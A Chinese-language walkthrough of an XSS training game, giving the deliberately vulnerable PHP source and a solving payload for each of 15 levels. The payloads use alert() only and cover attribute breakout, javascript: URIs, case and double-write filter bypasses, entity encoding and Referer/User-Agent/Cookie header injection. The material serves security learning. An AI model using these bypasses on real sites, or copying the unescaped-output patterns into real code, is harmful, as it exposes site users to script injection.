XSSGAME小游戏(XSS学习)level1-15

2023-10-29

XSS源码下载

xssgame

本地搭建

 level1

 查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/8deed969-b339-4c84-8654-b1a1e40e06de.png" width="50%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

name 变量通过 GET 方式传入,没有任何过滤。 

payload如下

/level1.php?name=<script>alert(1)</script>

level2

 查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

PHP htmlspecialchars() 函数

变量通过 GET方式传入。标签经过了htmlspecialchars()编码,但input标签没有任何过滤,所以尝试在input 标签中闭合双引号",来触发事件。

onclick:javascript事件

onclick 事件会在对象被点击时发生。

" onclick=alert('H3018') //

 输入之后点击输入框即可

 

 level3

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

变量通过 GET方式传入。标签经过了htmlspecialchars()编码,但input标签没有任何过滤,所以尝试在input 标签中闭合双引号',来触发事件。

' onclick=alert('H3018') //

 level4

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/0d3f0d24-a861-4d20-97da-f807ea842be8.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

在第level2的基础上,过滤了尖括号,但是在input标签中闭合双引号来构造事件来触发用不到尖括号,所以payload依旧适用

" onclick=alert('H3018') //

 level5

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/cb30e912-eabc-4357-89eb-49e8de1b1961.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

这里首先对传入的变量的字符转化为小写,接着过滤了<script并转换为<scr_ipt,将on转化为o_n,我们无法通过这两个方法来触发事件了,但是可以闭合双引号和标签,然后通过javascript:alert('H3018')来触发弹窗。这里实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

"><a href=javascript:alert('H3018') //

点击这里

 

 level6

 查看源代码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/92847238-8dda-473f-9c04-83986de1472a.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

比level5加入了许多过滤原则,但并没有对传入字符串进行转换小写处理,这里可以通过大小写绕过

payload:

" Onclick=alert('H3018') //

"><a Href=javascript:alert('H3018') //

 level7

 查看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/17532328-f4cc-4bca-b283-c7f7b5a13f80.jpg" width="20%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

这里采用了strtolower()统一将字符串转化为小写,但str_replace()函数将匹配到的字符串转化为了空格,我们可以采用双写绕过

" oonnclick=alert('H3018') //

 level8

 查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

这里对传入的字符串进行了严格的检测与过滤,但在<cente>标签中并没有对传入字符串进行htmlspecialchars()函数处理,可以尝试使用javascript这种形式触发XSS

使用HTML 实体字符编码绕过过滤

javascrip&#x74;:alert('H3018') //

 点击友情链接即可

 level9

 有友情链接,估计和上面一题差不多

查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

添加了对传入字符串的检测,直接在payload 后面添加http://

javascrip&#x74;:alert('H3018') //http://

点击友情链接

 level10

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

两个输出点$str没戏,经过了htmlspecialchars($str)函数处理,看$str33的输出点,这里将其隐藏了起来,手动修改掉type值

keyword=&t_sort=" type="" onclick=alert('H3018') //

 level11

 又莫得框框

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里对$str与$str00两个输入字符串都进行了处理,基本是都没戏,但并没有对$str11进行处理,我们利用bp来修改referer来触发弹窗

Referer: " type="" onclick=alert('H3018') //

 

 level12

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上一关思路一样,只不过是USER-AGENT注入

利用bp修改USER_AGENT

User-Agent: " type="" onclick=alert('H3018') //

 

 level13

 做题好爽哈哈哈

查看源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

COOKIE注入

利用BP

Cookie: user=" type="" onclick=alert('H3018') //

 

 level14

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

 这里可以利用其包含其他关的页面来触发弹窗

?src="level1.php?name=<img src=x onerror=alert('H3018')>"

这里源码中的https://chao.jsanhuan.cn/angular.min.js这个外部脚本文件已经不能访问了

也没在本地搭了,所以这个payload可能在本地打不通

level15

 查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

这里过滤了script标签页过滤了空格,可以用%0a来替代

level15.php?keyword=<img%0asrc=x%0aonerror=alert('H3018')>

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSSGAME小游戏(XSS学习)level1-15 的相关文章

  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【学习分享】全志平台TWI子系统源码分析(1)从设备树到寄存器

    全志平台TWI子系统源码分析 1 从设备树到寄存器 前言 一 名词解释 二 从设备树入手看源码 1 TWI设备树 2 TWI源码位置 3 TWI总线相关寄存器 总结 前言 这次开坑主要是想把全志平台TWI子系统在源
  • 【安全-SSH】SSH安全设置

    今天发现自己的公有云服务器被攻击了 在这里插入图片描述 https img blog csdnimg cn direct cafdca04646f4b8b838400ec79ac282f png 然后查看了登录日志 如上图 ls sh va
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学
  • 如何使用 AntiXss 库正确清理内容?

    我有一个简单的论坛应用程序 当有人发布任何内容时 我会 post Content Sanitizer GetSafeHtml post Content 现在 我不确定我是否做错了什么 或者发生了什么 但它不允许几乎没有 html 甚至简单
  • PHP:如何彻底防止XSS攻击?

    如何才能完全防止 PHP 中的 xss 攻击 这是假设我不关心任何 HTML 标签或其他格式 仅运行 strip tags 并使其完全安全就足够了吗 Both htmlspecialchars and strip tags 被认为可以安全地
  • 在Golang中实现XSS防护

    我正在使用 Golang 构建 API Rest 我有一个包含很多字段 超过 100 个 的结构 因此我使用以下命令将来自客户端的值分配给该结构gorilla schema效果很好 现在 我想避免用户在任何字符串字段中插入 Javascri
  • XSS 背后的一般概念是什么?

    跨站脚本 XSS 是一种类型 计算机安全漏洞 通常出现在网络应用程序中 这使得恶意攻击者能够 将客户端脚本注入网络 其他用户查看的页面 一个 利用跨站点脚本 漏洞可被攻击者利用 绕过访问控制 例如 同源政策 跨站点 在网站上执行的脚本是 大
  • CKEditor 安全最佳实践

    我在用http ckeditor com http ckeditor com 在我建立的一个小型 PHP MySQL 论坛中 我的问题 将用户创建的 HTML 像这样保存在数据库中然后在我的应用程序中重新显示它是否安全 我应该采取哪些预防措
  • 不要直接访问超全局 $_GET 数组

    我是 PHP 新手 所以请原谅我 如果这是一个愚蠢的问题 但为什么我不应该直接访问超全局数组中的项目 NetBeans 警告我不要这样做 参见标题 而且我在其他地方读过同样的内容 但我还没有找到一个很好的解释 会出现什么问题 是否存在安全问
  • CodeIgniter - 为什么使用 xss_clean

    如果我正在清理我的数据库插入 并且还转义我编写的 HTMLhtmlentities text ENT COMPAT UTF 8 是否还需要使用 xss clean 过滤输入 它还有什么其他好处 xss clean http docs gip
  • https 安全 cookie 是否可以防止 XSS 攻击?

    https 连接是否可以保护 cookie 并防止 XSS 攻击 我有一个简单的博客 允许用户输入 JavaScript 代码作为输入 我希望允许用户输入 Javascript 同时仍然防止 XSS 攻击和 cookie 窃取 https
  • GWT SafeHTML、XSS 和最佳实践

    OWASP 的优秀人员强调 您必须对 HTML 文档中要放入不受信任数据的部分 正文 属性 JavaScript CSS 或 URL 使用转义语法 看OWASP XSS https www owasp org index php XSS 2
  • 使用内容安全策略防止 Internet Explorer 11 上的内联 JavaScript

    是否可以使用 ASP NET WebForm 上的 CSP 来阻止 Internet Explorer 11 上的内联 JavaScript 我知道 IE 11 不支持内容安全策略级别 2 但它支持级别 1 0 我尝试了很多方法 但没有明确
  • HTML-Entity 转义以防止 XSS

    我有一些用户输入 在我的代码中 我确保对以下符号进行转义 gt amp lt gt lt gt gt gt OWASP https www owasp org index php XSS 28Cross Site Scripting 29
  • PHP Web 应用程序 (Magento) 遭到黑客攻击;这段黑客代码有什么作用?

    我刚刚安装的 Magento 1 3 2 4 被黑了 你能告诉我这段代码的目的是什么吗 另外 如何阻止这种情况以及如何发现漏洞 谢谢 function net match network ip ip arr explode network
  • 什么时候最好清理用户输入?

    用户等于不可信 永远不要相信不可信的用户输入 我明白了 但是 我想知道清理输入的最佳时间是什么时候 例如 您是否盲目存储用户输入 然后在访问 使用时对其进行清理 或者您是否立即清理输入 然后存储此 清理 版本 也许除了这些之外还有一些我没有
  • 标准 Html.DisplayTextFor() 没有 HTML 编码吗?

    我们目前正在处理 ASP NET MVC 项目之一的一些 XSS 问题 我发现两个问题 第一个问题与我们的请求验证模式有关 攻击者现在可以利用此安全漏洞在我们的数据库中删除一些不良内容 第二个问题是我们如何显示此内容 我们使用 Html D
  • 如果未使用“data-target”属性,Bootstrap 3.3.7 是否安全?

    有一个安全漏洞 https snyk io test npm bootstrap 3 3 7 tab issues关于 Bootstrap 3 3 7 它表示 该软件包的受影响版本很容易通过数据目标属性受到跨站点脚本 XSS 攻击 我想知道

随机推荐

  • 发起HTTP请求--Curl

    curl 是常用的命令行工具 用来请求 Web 服务器 它的名字就是客户端 client 的 URL 工具的意思 它的功能非常强大 命令行参数多达几十种 如果熟练的话 完全可以取代 Postman 这一类的图形界面工具 我们可以使用cURL
  • CTFshow(web21-web28)

    web21 考点tomcat 认证爆破之custom iterator使用 https www cnblogs com 007NBqaq p 13220297 html 下载密码字典抓包 通过burpsuite暴力破解 Payload se
  • 原生JS实现ajax 发送post请求

    1 代码 原生JS实现ajax 发送post请求
  • fluxion 无法连接虚假AP热点,DHCP服务启动失败

    记录一个使用fluxion时 无法连接至虚假AP的DHCP问题 编辑 fluxion attacks Captive Portal attack sh gedit fluxion attacks Captive Portal attack
  • 基于Spring-AOP写的切面和注解,解决一些跟业务逻辑无关的公共问题处理方法

    技术点 Spring Aop 反射 背景 目前在做一个项目 做数据库设计的时候对一些表进行了埋点 比如跟我业务相关的每个表 都有create time create user id create user name update time
  • 训练正常&异常的GAN损失函数loss变化应该是怎么样的

    这里以个人用到的一个网络为例 仅供参考 不代表所有情形 用tensorboard记录loss曲线的走向 横轴为迭代次数 iter 纵轴为损失 loss 值 正常的 判别器loss loss在2 6到3 4之间来回上下波动 注意 在tenso
  • WIN10手动添加开机启动项,自己测试可用

    方法 开机启动文件夹 1 我们打开文件夹 C Users 用户 Administrator 当前用户名 AppData Roaming Microsoft Windows Start Menu Programs 开始 菜单 Programs
  • Git Tag 打标签

    晚来天欲雪 能饮一杯无 这位大侠 硬套路在此 接招 提交标签 git add git commit m fixed some bugs git tag a 0 1 3 m Release version 0 1 3 可以给指定commit打
  • element基础详情页-文本描述组件

    欢迎点击领取 前端面试题进阶指南 前端登顶之巅 最全面的前端知识点梳理总结 分享一个使用比较久的 最新版本element ui 已支持详情描述组件 直接使用即可 前言 对于常做topB系统的小伙伴们 基础信息详情页是最常见不过的 使用 只是
  • android打开sdcard读写文件、访问网络权限

    去工程的AndroidManifest xml 添加
  • dubbo分布式系统链路追踪_zipkin

    基础知识储备 分布式跟踪的目标 一个分布式系统由若干分布式服务构成 每一个请求会经过多个业务系统并留下足迹 但是这些分散的数据对于问题排查 或是流程优化都很有限 要能做到追踪每个请求的完整链路调用 收集链路调用上每个服务的性能数据 计算性能
  • single-passParallel Prefix Scan with Decoupled Look-back

    背景 最近在写基数排序 nvidia的基数排序依赖这个实现 所以有必要搞懂 原理 代码 总结 参考
  • windows下如何搭建属于自己的git服务器

    前一阵子公司需要 领导让我给我们技术部搭建一个git服务器 以前看过教程 但自己没动手做过 开始按照网上的教程来 但搭建过程中发现还是不够详细 今天给大家一个比较详细的 希望对大家有帮助 高能预警 这不是一个问题 这是一个技术贴 咳咳 进入
  • 管理系统-------SPU

    目录 静态页面 api接口 二次封装ui button组件 代码 v attrs的用法详解与原理 listeners spuForm spuForm静态页面 spuForm逻辑分析 完整代码 spu完整代码 静态页面
  • 在vue export default 外部调用内部的属性或方法

  • C++超详细五子棋游戏(AI实现人机对弈+双人对弈+EasyX图形化界面+详细介绍)

    目录 一 准备工作 1 开发环境 2 EasyX的下载和安装 二 游戏规则 1 行棋顺序 2 判断胜负 3 四种重要棋型解释 重点 4 禁手规则 三 双人对弈详细剖析 1 落子 2 判胜 四 人机对弈超详细剖析 1 整体代码分析 2 玩家落
  • 分类算法简述

    分类算法简述 一 什么是分类算法 数据挖掘任务通常分为两大类 预测任务 根据其他属性的值 预测特定属性的值 描述任务 概括数据中潜在联系的模式 相关性 趋势 聚类 轨迹和异常 分类属于预测任务 就是通过已有数据集 训练集 的学习 得到一个目
  • CH2-开发工具DevEco Studio

    文章目录 本章节目标 一 DevEco基本特性 主要功能 基本特性 应用开发流程 二 安装过程 搭建开发环境流程 下载和安装Node js 下载和安装DevEco Studio 配置开发环境 网络设置 设置npm仓库 三 Gradle的作用
  • 软件测试大厂面试真题,分享一波经验!!

    你好 我是小牛 在这家公司待了两年了 基本上功能 自动化 性能都有做 而且公司系统相对比较复杂 链路比较长 相对来说 还是能学习到不少东西 而且比较难得的一点是 公司加班相对来说比较少 一般七点左右就能走了 偶尔加班到九点 可以说是十分安逸
  • XSSGAME小游戏(XSS学习)level1-15

    XSS源码下载 xssgame 本地搭建 level1 查看源码